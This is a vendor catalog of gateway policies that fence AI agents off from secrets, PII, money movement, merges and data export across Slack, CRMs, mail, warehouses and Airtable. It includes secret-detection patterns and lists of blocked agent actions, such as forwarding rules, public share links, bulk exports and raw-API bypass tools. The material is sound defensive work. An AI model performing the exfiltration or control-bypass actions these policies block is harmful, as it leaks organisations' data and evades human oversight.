# DTwo Policy Catalog — full text Every policy in the catalog, inline. Source of truth: https://github.com/dtwoai/policy-store. Browse: https://www.intentbasedpolicy.com/. Structured index: https://www.intentbasedpolicy.com/catalog.json. --- ## Stories ### Stop AI agents from leaking secrets into Slack URL: https://www.intentbasedpolicy.com/stories/stop-secrets-leaking-into-slack For: Platform and InfoSec teams running an AI assistant with Slack write access Once an agent posts to Slack, an API key is in channel history and search. Catch it before the send, not after. A Slack message is a write you can't take back. The moment your agent calls `slack-post-message`, the text is in channel history and search indexes, and may have already gone out in email digests. So when an agent drops an `AKIA…` key or a `-----BEGIN PRIVATE KEY-----` block into a "summary," redacting on read is already too late. The secret is out. The fix is to inspect the call before it reaches Slack. The `block-secrets` policy runs at ingress (`tool_pre_invoke`) and denies any send whose body matches a high-confidence secret shape: AWS keys, GitHub PATs, Slack tokens, Stripe `sk_live_` keys, OpenAI keys, PEM private keys, and generic `key: value` pairs. Other sends are unaffected. A hard deny suits high-assurance environments. Where it gets in the way of normal chatter, reach for `redact-sensitive-info` instead. It rewrites the matching substrings to `[REDACTED]` and lets the message through, minus the secret. Use deny where you can't tolerate a leak; use redact where you'd rather not break the message. Both run on the same pipeline, so you can attach either one or layer them. Policies: https://www.intentbasedpolicy.com/policies/slack/block-secrets, https://www.intentbasedpolicy.com/policies/slack/redact-sensitive-info ### Keep customer PII from walking out of your CRM URL: https://www.intentbasedpolicy.com/stories/keep-customer-pii-inside-your-crm For: RevOps and data-governance owners exposing a CRM to AI tooling An agent reading Salesforce or HubSpot pulls emails, phone numbers, and addresses into its context and your chat logs. Mask them on the way out. A CRM record carries the personal data you're accountable for: emails, mobile numbers, mailing addresses, birthdates, sometimes an SSN or a card number dropped into a notes field. Point an agent at those records to "draft a follow-up" and it pulls all of that straight into its response. From there it copies into the model context and the chat transcript, which then gets logged somewhere outside the CRM. This is an egress problem. The values already exist in Salesforce and HubSpot, so there's nothing to block on the way in. The leak happens on the way out, when the response is handed back to the MCP client. `redact-pii` (one policy per app) is transform-only. It never denies a call; it rewrites matching fields and patterns to `[REDACTED]` before the caller sees them. `Name` and `Account` stay intact by design, so the records remain usable. That covers reads. Add `protect-contact-fields` on the ingress side to stop agents from overwriting protected contact data: ownership, account linkage, consent flags. That covers both directions. Protected fields don't read out, and protected fields can't be overwritten. Policies: https://www.intentbasedpolicy.com/policies/salesforce/redact-pii, https://www.intentbasedpolicy.com/policies/hubspot/redact-pii, https://www.intentbasedpolicy.com/policies/salesforce/protect-contact-fields ### Give AI agents read-only access to your CRM URL: https://www.intentbasedpolicy.com/stories/read-only-crm-for-ai-agents For: Teams piloting AI on a CRM who want zero write risk For a low-risk CRM pilot, give the agent a one-way mirror: it reads every record and changes none. The read-only policies enforce that, and a query allowlist tightens it further. For a low-risk CRM pilot, give the agent read access only. It can query every record but cannot change any. It can't flip a deal stage, overwrite an owner, or run a bulk update from a misread instruction. `read-only` does this fail-closed. The Salesforce variant allowlists the read tools and denies the rest, so a write tool you haven't seen yet is denied by default rather than allowed. The HubSpot variant blocks the single `*-manage-crm-objects` write tool that fronts every mutation. Either way, the integration can't make a write. If even the reads need a fence, add `query-allowlist`. It restricts Salesforce SOQL to the Account, Contact, and Opportunity objects, so the agent can't query arbitrary objects across the org. Run fully read-only for the pilot. Once the workflow earns trust, relax to the narrow write-protection policies. Policies: https://www.intentbasedpolicy.com/policies/salesforce/read-only, https://www.intentbasedpolicy.com/policies/hubspot/read-only, https://www.intentbasedpolicy.com/policies/salesforce/query-allowlist ### Guard the CRM writes your revenue depends on URL: https://www.intentbasedpolicy.com/stories/guard-high-stakes-crm-writes For: RevOps teams who want productive agents without high-impact mistakes You want agents logging activities and creating records, just not closing deals or reassigning owners on their own. Gate the few writes that matter. Full read-only is too restrictive when you actually want the agent to update notes, log activities, and create records. The writes worth gating are the few that move money or change how your data is linked. This set is four single-purpose deny policies. Each one is `default allow := false` re-allowing everything except its own narrow concern, so they don't step on each other or on the rest of your CRM policies. `block-deal-closure` denies moves into `closedwon` or `closedlost`. The agent can advance a deal; it just can't declare it won or lost. `protect-deal-owner` denies changes to `hubspot_owner_id`, which keeps attribution and territory under human control. Object associations are handled by `protect-associations`, which denies creating or rewiring them. And `protect-lifecycle-stage` denies changes to a contact's `lifecyclestage`, so funnel reporting stays honest. Attach the ones that map to your guardrails. They're independent, so you can attach just `block-deal-closure` now and add the rest later. Policies: https://www.intentbasedpolicy.com/policies/hubspot/block-deal-closure, https://www.intentbasedpolicy.com/policies/hubspot/protect-deal-owner, https://www.intentbasedpolicy.com/policies/hubspot/protect-associations, https://www.intentbasedpolicy.com/policies/hubspot/protect-lifecycle-stage ### Wall off sensitive Jira projects from AI agents URL: https://www.intentbasedpolicy.com/stories/wall-off-sensitive-jira-projects For: Teams running AI on Jira with confidential projects in the same instance Security, legal, and HR projects share the same Jira as your sprint board. Keep agents from reading or writing them, and redact whatever still comes back. Your security, legal, and HR projects sit in the same Jira instance as everything else. Incident-response, legal-hold, and HR-investigation work lives next to the sprint board, and an agent with Jira access sees all of it. Ask it to "summarize open issues" and the active security incident is in scope too. The control is project-scoped and covers both ways into an issue. `deny-view-search-sensitive-projects` blocks the read side: it denies the two paths a caller has to reach an issue — fetching it directly by key, and JQL search — matched by project key, so the content never reaches the model context. The write side is handled by `deny-write-sensitive-projects`, which stops an agent from creating, commenting on, or transitioning issues in those projects. Whatever still comes back — including a summary the agent built from issue content it was allowed to read — runs through `redact-sensitive-info`, which masks secrets and PII before the response reaches the caller. The read and write policies each carry their own sensitive-project list, so set the same projects in both to keep the fences aligned. The `atlassian` bundle collects the curated set. Policies: https://www.intentbasedpolicy.com/policies/jira/deny-view-search-sensitive-projects, https://www.intentbasedpolicy.com/policies/jira/deny-write-sensitive-projects, https://www.intentbasedpolicy.com/policies/jira/redact-sensitive-info ### Slack hygiene for autonomous AI agents URL: https://www.intentbasedpolicy.com/stories/slack-hygiene-for-ai-agents For: Platform teams granting agents Slack access beyond a single channel Slack's OAuth scopes pick capabilities, not the channels they apply to: you can grant an agent 'post messages,' but not 'post only in #status' — one scope covers every channel at once. Slack OAuth scopes let you pick capabilities, but not the channels or recipients they apply to. `chat:write` lets an agent post in every channel it's in, not just the one you intended; `channels:history` reads every public channel, not a chosen few; and there's no scope for 'DM teammates but never outsiders.' Apps also tend to request a bundle of scopes to cover many features, so an agent inherits all of it. The gateway is where you narrow that to specific channels and actions, since the scopes can't. Each of these three ingress policies blocks one specific action and leaves the rest of the Slack tools available. `deny-channel-creation` stops channel sprawl from an over-eager agent. `deny-direct-messages` denies writes addressed to a 1:1 DM, a user ID, or a group DM, so the agent stays in channels instead of private conversations. `deny-read-search-summarize-sensitive-channels` keeps named sensitive channels out of reach for read, search, and summarize. Add `block-secrets` from the secrets story and the agent is limited to posting in approved channels with no secrets in the payload. The `slack` bundle gathers the hygiene set. Policies: https://www.intentbasedpolicy.com/policies/slack/deny-channel-creation, https://www.intentbasedpolicy.com/policies/slack/deny-direct-messages, https://www.intentbasedpolicy.com/policies/slack/deny-read-search-summarize-sensitive-channels ### HIPAA-aligned controls for AI agents touching PHI URL: https://www.intentbasedpolicy.com/stories/hipaa-aligned-controls-for-ai-agents For: Security and compliance owners exposing PHI-adjacent systems to AI A connector into email, a helpdesk, or a warehouse can pull protected health information into an agent's context. These policies support HIPAA-aligned minimum-necessary, access, and de-identification controls on the MCP path. HIPAA's minimum-necessary rule asks that a workforce member — or an agent acting as one — touch only the PHI the task requires. An MCP connector ignores that by default: ask an agent to "summarize this patient thread" and it can pull an entire mailbox, a full support history, or a warehouse table into its context. The gateway is where the agent channel gets narrowed back to need-to-know. These policies support alignment with the minimum-necessary and access controls (§164.502(b), §164.514(d), §164.312(a)) on that channel. `cap-bulk-export` clamps how many records a single call returns, so a summary request can't become a bulk pull. `redact-pii-egress` masks identifier patterns in responses before they reach the model. `redact-conversation-pii` does the same for support conversations, and `guard-dm-privacy` fences private-channel reads to an authorized group. Each decision lands in the audit log, which supports the §164.312(b) audit-control expectation. Be candid about the boundary: this is coverage on the MCP path only. It is not a BAA, it does not encrypt anything at rest or in transit, and it does not certify de-identification. The web UI, the native API, retention, and the physical safeguards are all still yours to handle. The `hipaa` bundle collects the agent-channel policies; treat it as one input to a HIPAA program, not the program. Policies: https://www.intentbasedpolicy.com/policies/box/redact-pii-egress, https://www.intentbasedpolicy.com/policies/gmail/cap-bulk-export, https://www.intentbasedpolicy.com/policies/intercom/redact-conversation-pii, https://www.intentbasedpolicy.com/policies/slack/guard-dm-privacy ### Keep cardholder data out of an AI agent's reach URL: https://www.intentbasedpolicy.com/stories/pci-dss-aligned-controls-for-ai-agents For: Teams whose AI tooling can reach systems that store cardholder data A PAN can surface in a chat message, a support ticket, or a warehouse query. These policies support PCI DSS-aligned masking and least-privilege controls on the agent channel. PCI DSS 3.4.1 wants the PAN masked when displayed, and 7.2.x wants programmatic access to stored cardholder data restricted by role. An agent respects neither on its own: it will echo a full card number back in a summary, and it will query whatever the connector's scope allows. The gateway supplies both controls on the agent channel. `mask-pan-egress` runs Luhn-validated PAN detection over responses and masks to BIN-plus-last-four, so a card number never reaches the model in full — the core of the 3.4.1 control. `guard-warehouse-sql` blocks the DML, DDL, and export constructs that would relocate stored cardholder data out of a warehouse. `query-allowlist` narrows what a CRM agent can query at all, and `gate-money-movement-refund-cap` caps refunds and payments so a misread instruction can't move money past a ceiling. The honest limit: these reduce PAN exposure and privilege over MCP. They do not protect data at rest, encrypt transmission, add MFA, or scope your cardholder-data environment. The `pci-dss` bundle is the agent-channel slice of a PCI program — a strong, demonstrable slice, not the whole assessment. Policies: https://www.intentbasedpolicy.com/policies/slack/mask-pan-egress, https://www.intentbasedpolicy.com/policies/stripe/gate-money-movement-refund-cap, https://www.intentbasedpolicy.com/policies/snowflake/guard-warehouse-sql, https://www.intentbasedpolicy.com/policies/salesforce/query-allowlist ### SOC 2-aligned access control for AI agents URL: https://www.intentbasedpolicy.com/stories/soc2-access-controls-for-ai-agents For: Teams carrying a SOC 2 report into every security review Auditors increasingly treat an agent as a privileged identity. These policies support the most-tested SOC 2 access, boundary, and change-management criteria — with a per-decision audit trail. A SOC 2 review asks how logical access is restricted (CC6.1/CC6.3), how boundaries hold against new threats (CC6.6), and how change is controlled (CC8.1). An agent is now one of the identities those criteria cover, and the gateway is where you enforce them on its actions — with the decision logged the same way your other audit evidence is. `role-gate-writes` restricts write tools to the IdP groups that should hold them, and `read-only` gives a fail-closed one-way mirror for a lower-trust pilot — both map to least-privilege access. `default-deny-unknown-tools` denies any tool not on an audited allowlist, so a newly added or renamed upstream tool is blocked until reviewed, which supports the boundary-protection criteria. `require-human-approval-merge` keeps an agent from consummating a change on its own — it drafts, a human approves. What it is not: SOC 2 spans control environment, risk assessment, availability, and retention, none of which live on the MCP path. This bundle is the technical access-control evidence for the agent channel — one well-scoped input to the report. Every policy here produces a `principal, action, resource, context, decision` record that lands in the same audit stream you already collect. Policies: https://www.intentbasedpolicy.com/policies/salesforce/read-only, https://www.intentbasedpolicy.com/policies/ms365/role-gate-writes, https://www.intentbasedpolicy.com/policies/servicenow/default-deny-unknown-tools, https://www.intentbasedpolicy.com/policies/github/require-human-approval-merge ### SOX-aligned controls for AI agents in finance systems URL: https://www.intentbasedpolicy.com/stories/sox-controls-for-ai-agents-in-finance For: Finance and audit owners piloting AI against the systems of record An agent in the ERP can draft — but it should never post, pay, delete, or approve on its own. These policies support SOX ICFR and ITGC controls on the agent channel. SOX turns on the integrity of the financial record and the separation between who initiates a transaction and who approves it. An agent with write access to the ERP threatens both: it can post to a closed period, move money, or change a vendor's bank details from a single misread instruction. The controllable version is simple to state — the agent can draft, but never post, pay, delete, or approve — and the gateway is where that line holds. `protect-closed-periods` denies edits and voids against posted transactions and closed periods, supporting the anti-alteration expectation behind §802. `gate-money-movement` caps and gates payments and payroll outside the finance group. `guard-vendor-banking` denies changes to vendor bank and payment details — the anti-BEC control auditors now ask about. `require-human-approval-merge` carries the same draft-then-human-approves posture into the ITGC change path for financial code. The boundary: this covers the agent channel, not user provisioning, access reviews, or the financial-statement assertions themselves. Those stay with your ITGC program and your IdP. What the bundle adds is a demonstrable control that the automated actor cannot unilaterally post, pay, or destroy — plus the decision record proving it. The `sox` bundle collects the set. Policies: https://www.intentbasedpolicy.com/policies/netsuite/protect-closed-periods, https://www.intentbasedpolicy.com/policies/quickbooks/gate-money-movement, https://www.intentbasedpolicy.com/policies/netsuite/guard-vendor-banking, https://www.intentbasedpolicy.com/policies/github/require-human-approval-merge ### Stop an AI agent from sending mail as your employees URL: https://www.intentbasedpolicy.com/stories/stop-ai-agents-sending-mail-as-your-staff For: IT and security teams connecting an agent to Microsoft 365 or Gmail An agent with mailbox access can email outsiders, and quietly set forwarding rules that leak every future message. Gate the send and freeze the rules. Give an agent a mailbox and you give it two risks at once. It can send mail to anyone — including outside your organization, in an employee's name — and it can set an inbox rule or forwarding address that silently copies every future message somewhere else. The second is how business-email-compromise persists long after the first mistake. The controls run at ingress, before the call reaches Microsoft Graph or Gmail. `guard-external-send` denies or draft-holds any agent send where a recipient is outside your corporate domains, so an agent drafts to outsiders but a human presses go. `guard-mailbox-persistence` blocks creation of mail rules, filters, and forwarding subscriptions — the standing exfiltration channel. `freeze-identity-plane` denies changes to groups and directory objects so an agent can't quietly widen its own reach. Start with external-send held for review and mailbox persistence denied outright. The same two policies exist for Gmail, so a mixed shop governs both suites the same way. Policies: https://www.intentbasedpolicy.com/policies/ms365/guard-external-send, https://www.intentbasedpolicy.com/policies/ms365/guard-mailbox-persistence, https://www.intentbasedpolicy.com/policies/ms365/freeze-identity-plane, https://www.intentbasedpolicy.com/policies/gmail/guard-external-send ### Keep an AI agent from sharing your files with the internet URL: https://www.intentbasedpolicy.com/stories/keep-agents-from-oversharing-files For: Teams exposing Google Drive, Box, or Dropbox to an AI assistant A file connector's most dangerous tool isn't read — it's the one that mints a public share link. Deny anonymous links and fence the folders that matter. A file store's read tools are the obvious worry, but the sharper edge is the share-link tool. One call turns a confidential document into an anonymous URL that anyone can open, with no further authentication — a link that outlives the session and the agent that made it. These ingress policies close that path. `guard-share-links-external` (Box and Dropbox) denies anonymous and public links and downgrades scope to your organization, optionally injecting an expiry. `fence-restricted-folders` keeps the agent out of named sensitive paths entirely, and `guard-acl-recon` stops it from enumerating who-can-see-what as a reconnaissance step. For the reads that are allowed, `redact-pii-egress` masks personal data in file contents on the way back. Layer the share-link deny with the folder fence and you get the useful default: the agent can read and summarize what it's allowed to, but it cannot widen access or hand a document to an outsider. Policies: https://www.intentbasedpolicy.com/policies/box/guard-share-links-external, https://www.intentbasedpolicy.com/policies/dropbox/guard-share-links-external, https://www.intentbasedpolicy.com/policies/google-drive/fence-restricted-folders, https://www.intentbasedpolicy.com/policies/google-drive/guard-acl-recon, https://www.intentbasedpolicy.com/policies/google-drive/redact-pii-egress ### Let agents query the warehouse without draining it URL: https://www.intentbasedpolicy.com/stories/query-the-warehouse-without-draining-it For: Data platform owners exposing Snowflake, BigQuery, or Databricks to agents Natural-language SQL is one tool call away from a full-table export. Constrain the statement, cap the pull, and mask what comes back. A warehouse connector usually exposes one very powerful tool: run this SQL. That single tool is the entire attack surface. A misread instruction turns "summarize last quarter" into a `SELECT *` across a table of customer records, or an `EXPORT`/`COPY INTO` that ships the data straight out. The policies inspect the SQL argument at ingress. `guard-warehouse-sql` denies DML, DDL, and grant statements and forces read-only queries; `guard-warehouse-export` blocks the export and stage-copy constructs that relocate data in bulk. `fence-sensitive-schemas` keeps the agent out of the schemas holding regulated data, and `redact-pii-egress` masks identifiers in the rows that do return. Because managed warehouse servers expose admin-named and dynamic tools, pair these with `default-deny-unknown-tools` so a tool nobody audited is denied until it's reviewed. The same pattern ports across Snowflake, BigQuery, and Databricks — one warehouse posture, three engines. Policies: https://www.intentbasedpolicy.com/policies/snowflake/guard-warehouse-sql, https://www.intentbasedpolicy.com/policies/snowflake/guard-warehouse-export, https://www.intentbasedpolicy.com/policies/snowflake/fence-sensitive-schemas, https://www.intentbasedpolicy.com/policies/bigquery/guard-warehouse-sql, https://www.intentbasedpolicy.com/policies/snowflake/redact-pii-egress ### Let an AI agent touch Stripe without letting it move money URL: https://www.intentbasedpolicy.com/stories/let-agents-touch-stripe-without-moving-money For: Finance and RevOps teams giving an agent access to payments Refunds, payouts, and disputes are irreversible the moment they fire. Cap the amounts, gate the approvals, and close the raw-API back door. Payment actions are the rare agent write with no undo. A refund is money out the door; a dispute submission is a decision you can't recall; a payout goes where it goes. An agent that drafts a customer email is low-stakes — an agent that can call the refund tool is not. The controls gate money movement at ingress. `gate-money-movement-refund-cap` caps refund and payment amounts and denies anything above the ceiling unless the caller is in the finance group. `require-human-approval-dispute-submit` keeps the agent from consummating a dispute on its own. `role-gate-writes-billing` restricts billing writes to authorized identities, and `deny-escape-hatches-api-write` blocks the raw pass-through tool that would otherwise let an agent route around every per-tool rule. On the way back, `redact-pii-egress-customer` masks customer PII in responses. The posture is simple to state: the agent can read, reconcile, and draft, but it cannot move money past a threshold or bypass the controls to try. Policies: https://www.intentbasedpolicy.com/policies/stripe/gate-money-movement-refund-cap, https://www.intentbasedpolicy.com/policies/stripe/require-human-approval-dispute-submit, https://www.intentbasedpolicy.com/policies/stripe/deny-escape-hatches-api-write, https://www.intentbasedpolicy.com/policies/stripe/role-gate-writes-billing, https://www.intentbasedpolicy.com/policies/stripe/redact-pii-egress-customer ### Give an agent GitHub access without letting it merge or leak code URL: https://www.intentbasedpolicy.com/stories/give-agents-github-without-leaking-code For: Engineering and platform teams running an agent against GitHub Source code is crown-jewel data, and a merge or a public repo is a one-call mistake. Keep the agent to drafts and keep secrets out of commits. GitHub holds the most sensitive asset an agent can reach — the source itself — and two of its actions are effectively irreversible in the ways that matter: merging a change, and making a private repo public. Both are a single tool call. These ingress policies keep the agent in a draft-and-propose lane. `require-human-approval-merge` lets it open and review but never consummate a merge; `deny-public-exposure-repos` blocks flipping a repo, gist, or page to public and forces `private: true`. `block-secrets-commits` denies commits whose contents carry live credentials, and `fence-scopes-org-allowlist` keeps the agent inside your own organizations rather than pushing to arbitrary destinations. For reads, `redact-secrets-egress` masks tokens and keys that already sit in the tree before they reach the model. The result maps cleanly onto change-management expectations: an agent can draft the work, but a human still owns the merge and nothing goes public by accident. Policies: https://www.intentbasedpolicy.com/policies/github/require-human-approval-merge, https://www.intentbasedpolicy.com/policies/github/deny-public-exposure-repos, https://www.intentbasedpolicy.com/policies/github/block-secrets-commits, https://www.intentbasedpolicy.com/policies/github/redact-secrets-egress, https://www.intentbasedpolicy.com/policies/github/fence-scopes-org-allowlist ### Govern the one search tool that reaches every system URL: https://www.intentbasedpolicy.com/stories/govern-enterprise-search-across-every-system For: Security teams deploying Glean or similar enterprise search to agents Enterprise search fans out across everything indexed, so one query can surface what a dozen per-app policies would each have caught. The chokepoint is egress. Enterprise search is a force multiplier and a governance problem for the same reason: one tool reaches everything the platform has indexed — email, files, tickets, chat, CRM. A single query can pull together what would otherwise be spread across a dozen systems, each with its own access rules. Aggregation amplifies exposure, and the free-text query field means you can't always constrain it on the way in. That makes egress the real chokepoint. `redact-pii-egress` masks personal data in results regardless of which source they came from. `fence-datasource-scope` restricts which indexed datasources the agent may search, keyed to the caller's group. `cap-search-export` clamps how much a single search returns, throttling bulk harvest. And because a search platform exposes org-built agents and proxied tools with dynamic names, `default-deny-unknown-tools` denies anything not on the audited list. One connector that touches everything needs one policy set that assumes exactly that. Policies: https://www.intentbasedpolicy.com/policies/glean/fence-datasource-scope, https://www.intentbasedpolicy.com/policies/glean/cap-search-export, https://www.intentbasedpolicy.com/policies/glean/redact-pii-egress, https://www.intentbasedpolicy.com/policies/glean/default-deny-unknown-tools ### Keep meeting recordings and transcripts need-to-know URL: https://www.intentbasedpolicy.com/stories/keep-meeting-recordings-need-to-know For: Teams letting an agent summarize or search Zoom meetings Recordings and transcripts are sensitive by default — comp talk, deal terms, health details. Gate who an agent can pull them for, and mask what it returns. Meeting recordings and transcripts are among the most sensitive content an agent can read, precisely because they capture things people say out loud that they'd never put in a document: compensation, deal terms, personnel decisions, sometimes health details. A "recap this call" request reads the whole transcript wholesale. The policies keep that content on a need-to-know footing. `guard-transcripts-by-group` gates retrieval of recordings and transcripts to an authorized group, so not every agent user can pull every meeting. `redact-pii-meeting-intelligence` masks personal data in the transcript and summary output. `fence-agentic-search` constrains the meeting-search surface, and `block-secrets-chat` catches credentials pasted into meeting chat before they land in a summary. Use group-gated retrieval where recordings carry regulated content, and layer egress redaction on top for the reads you do allow. Policies: https://www.intentbasedpolicy.com/policies/zoom/guard-transcripts-by-group, https://www.intentbasedpolicy.com/policies/zoom/redact-pii-meeting-intelligence, https://www.intentbasedpolicy.com/policies/zoom/fence-agentic-search, https://www.intentbasedpolicy.com/policies/zoom/block-secrets-chat ### Keep payroll and compensation data out of an agent's reach URL: https://www.intentbasedpolicy.com/stories/protect-payroll-data-from-ai-agents For: HR and people-ops teams piloting an agent against payroll systems An HR connector exposes salaries, bank details, and terminations. Fence the sensitive reads to HR, freeze the writes, and mask financial identifiers. Payroll is the textbook case for identity-gated access. The connector exposes compensation, pay registers, bank and routing numbers, and employment actions like terminations — data that most of the company should never see through an agent, and that a broad "summarize our team" prompt would happily surface. The controls narrow the agent channel to need-to-know. `fence-comp-payroll-reads` denies the highest-sensitivity reads — salary, pay register, contractor payments, terminations — unless the caller is in the HR-payroll group, and fails closed when the claim is missing. `freeze-payroll-writes` blocks mutations so an agent can't run or alter payroll. `redact-financial-ids-egress` masks SSNs and bank details in any response, and `cap-roster-export` throttles full-roster pulls. These group names are placeholders — map `hr-payroll-admins` to your own IdP group at import, and the fence enforces your real org boundary on the agent's path. Policies: https://www.intentbasedpolicy.com/policies/gusto/fence-comp-payroll-reads, https://www.intentbasedpolicy.com/policies/gusto/freeze-payroll-writes, https://www.intentbasedpolicy.com/policies/gusto/redact-financial-ids-egress, https://www.intentbasedpolicy.com/policies/gusto/cap-roster-export ### GDPR-aligned controls for AI agents handling personal data URL: https://www.intentbasedpolicy.com/stories/gdpr-aligned-controls-for-ai-agents For: Privacy and data-governance owners with EU or California exposure Almost every connector an agent touches holds personal data. These policies support GDPR and CCPA-aligned minimisation and special-category controls on the MCP path. GDPR's data-minimisation principle (Art. 5(1)(c)) asks that processing touch only the personal data a task needs — and an agent, left alone, does the opposite. It pulls whole mailboxes, full record sets, and entire conversation histories into its context because nothing tells it not to. The agent channel is exactly where minimisation can be enforced. These policies support alignment with the minimisation, special-category, and by-default controls (Arts. 5, 9, 25, 32; CPRA §1798.121) on that channel. `cap-bulk-export` clamps how much a single call returns. `redact-pii-egress` and `redact-conversation-pii` mask personal and special-category data in responses across files, CRM, and support tools. `fence-user-directory` keeps the agent out of people-directory data unless it's authorized. Be candid about the edges: this covers the MCP path, not data-subject-rights fulfilment, lawful basis, retention, or cross-border transfer mechanisms — those stay with your privacy program. What the bundle adds is a demonstrable minimisation control on the one surface agents actually use. Policies: https://www.intentbasedpolicy.com/policies/gmail/cap-bulk-export, https://www.intentbasedpolicy.com/policies/google-drive/redact-pii-egress, https://www.intentbasedpolicy.com/policies/salesforce/redact-pii, https://www.intentbasedpolicy.com/policies/intercom/redact-conversation-pii, https://www.intentbasedpolicy.com/policies/notion/fence-user-directory --- ## Policies ### Airtable: Redact PII in Record Reads URL: https://www.intentbasedpolicy.com/policies/airtable/redact-pii-egress App(s): airtable | Direction: egress | Bundles: soc2, gdpr-ccpa | Package: airtable.egress.redact_pii | Published: 2026-07-12 | Tags: airtable, redact-pii, pii, dlp, redaction, egress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/airtable/redact-pii-egress/policy.md # airtable / redact-pii-egress **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `airtable.egress.redact_pii` ## What it does Scans the responses of the Airtable **record-read** tools — the calls that return row `fields` values — and rewrites high-confidence PII shapes to a fixed `[REDACTED]` token before the response reaches the agent: | Class | Detection | Token | |---|---|---| | US SSN | hyphenated `XXX-XX-XXXX` form | `[REDACTED]` | | Email address | conservative `mailbox@domain.tld` shape | `[REDACTED]` | | Phone number | E.164 (`+14155550100`) and separator-formatted NANP (`206-555-0100`, `(206) 555-0100`, `(206)555-0100`, `+1 206.555.0100`) | `[REDACTED]` | | National ID | UK National Insurance number (`AB123456C` shape) as the shipped national-ID class | `[REDACTED]` | Matches are replaced in place, leaving the surrounding record structure (record IDs, field names, table/base IDs, JSON scaffolding) intact so the response stays usable. The policy is transform-only: it never denies a call, and responses with no matches (and all out-of-scope tools) pass through unchanged. Every response field is read via `object.get`, so missing or oddly-shaped payloads are never an error — they simply pass through. Redaction operates on the **response payload only** and never alters stored records — the row in Airtable is untouched; only the copy handed to the agent is masked. Because Airtable bases routinely hold CRM contacts, ATS candidate rows, and — on HIPAA-eligible Enterprise — patient-ops data, a single `list_records*` call can dump an entire table. That makes the record-read path the primary PII-egress surface for Airtable, which is why this policy sits on egress. ### Group exemption Callers whose IdP `groups` claim contains the placeholder `data-privileged` group (see Known limitations) receive **unmasked** responses. The check reads `input.subject.claims.groups` via `object.get` chains: a missing subject, missing claims, or missing `groups` claim means the caller is *not* exempt and redaction applies — the grant fails closed. This failure mode is safe: a caller whose claims fail to arrive gets over-redaction, never disclosure. ## Compliance alignment - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking direct identifiers in Airtable record content as it leaves the gateway toward the agent. - **SOC 2 C1.1** — supports identification and protection of confidential information on the read path; **P4.1** — supports limiting personal information use to identified purposes; **P6.1** — supports controls over personal-information disclosure by keeping raw identifiers out of agent context that does not need them. - **GDPR Art. 5(1)(c)** — data minimisation on agent reads of personal data; **Art. 9** — reduces special-category exposure on the MCP path where identifiers co-occur with health/HR content in a base; **Art. 5(1)(f) / Art. 32** — supports security of processing. - **CCPA/CPRA §1798.121** — supports limiting the use and disclosure of sensitive personal information (SSN, national-ID numbers) on the agent channel; **§1798.150** — reduces nonredacted-PI breach exposure. ## Why egress The PII already lives in the base — there is nothing to block at ingress, and denying record reads outright would make the agent useless for everyday work. The leak happens when record `fields` are returned to the MCP client, so the response path is the only place to catch it while keeping the data useful. (For bases or tables that should never be read at all, pair with an ingress fence or a bulk-read clamp — see Composition.) ## Tool name matching Applies on the output path (`input.mode == "output"` **or** `input.action == "tool_post_invoke"` — either satisfies scope, so a gateway build that leaves one unset still redacts rather than failing open). The tool name is read from all three egress surfaces — `input.resource.name` (PARC), `input.tool_metadata.name` (legacy), and `input.payload.name` — and the policy matches if **any** of them carries a record-read suffix. Matching is case-insensitive and **by suffix**, anchored with a leading hyphen so generic verbs cannot accidentally match unrelated tools once the gateway server-name prefix is stripped. The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `airtable-list_records_for_table`), so the suffixes below include that hyphen. The suffix set covers the record-read tools of the two verified Airtable MCP server families — the official remote server (verbose `*_for_table` / `*_for_page` names) and domdomegg's community server (terse names): - `-list_records` (domdomegg) / `-list_records_for_table` (official) - `-search_records` (both) - `-get_record` (domdomegg) / `-get_record_for_page` (official) - `-list_records_for_page` (official) - `-display_records_for_table` (official interactive record widget; disabled by default on the server, covered here so it redacts safely if enabled) Because the concise and verbose spellings differ only by suffix, each is listed explicitly (e.g. `-list_records` does **not** match `-list_records_for_table`, which ends in `_for_table`). Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production, and extend `pii_read_suffixes` for any other record-returning tools your deployment exposes. ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke`. Airtable record responses arrive as serialized JSON (an array of records, each with a `fields` object), so the regexes run over the serialized text of each string block and match values inside `"Field": "value"` pairs without eating the surrounding quotes (patterns are `\b`-anchored). It also redacts the inner `text` of MCP-standard structured content blocks (`{"type":"text","text":"..."}`), preserving every other key. When at least one block changes, the policy emits `transform.transformed_payload` containing the original payload with the rewritten `text` array (all other payload keys preserved). When nothing changes, no transform is emitted and the response passes through byte-identical. If a gateway or tool emits `payload.text` as a **bare string** rather than a content-block array, that shape is redacted too (string in, string out — the rewrite is shape-preserving); it does not fall through unredacted. ## Examples ### Redacted (in-scope tool, non-exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "airtable-list_records_for_table", "type": "tool" }, "subject": { "sub": "auth0|u1", "claims": { "groups": ["sales"] } }, "payload": { "name": "airtable-list_records_for_table", "text": ["{\"records\":[{\"id\":\"rec1\",\"fields\":{\"Email\":\"jane.doe@example.com\",\"SSN\":\"123-45-6789\"}}]}"] } } } ``` `allow = true`, with `transform.transformed_payload.text` = `["{\"records\":[{\"id\":\"rec1\",\"fields\":{\"Email\":\"[REDACTED]\",\"SSN\":\"[REDACTED]\"}}]}"]`. ### Passed through (exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "airtable-get_record", "type": "tool" }, "subject": { "sub": "auth0|u2", "claims": { "groups": ["data-privileged"] } }, "payload": { "name": "airtable-get_record", "text": ["SSN 123-45-6789"] } } } ``` `allow = true`, no `transform` — the `data-privileged` group receives raw content. ## Composition Single-purpose transform policy (`default allow := true`); it composes cleanly with deny/transform policies on the same pipeline. Recommended companions for `apps/airtable`: - **`mask-pan-egress` (PF-01)** — cardholder-number masking is intentionally **out of scope here**. Pair this policy with a Luhn-validated `mask-pan-egress` companion so PANs in payment-tracker bases are masked to BIN+last4; this policy does not touch card numbers. - **`cap-bulk-export` (PF-08, ingress)** — clamps `maxRecords` and strips `filterByFormula` on `list_records*`, throttling the mass enumeration that turns a single redaction miss into a full-table leak. - **A base/table fence (PF-23, ingress)** — blocks reads of the most sensitive bases outright; redaction is the wrong tool for data no agent should read at all. ## Known limitations - 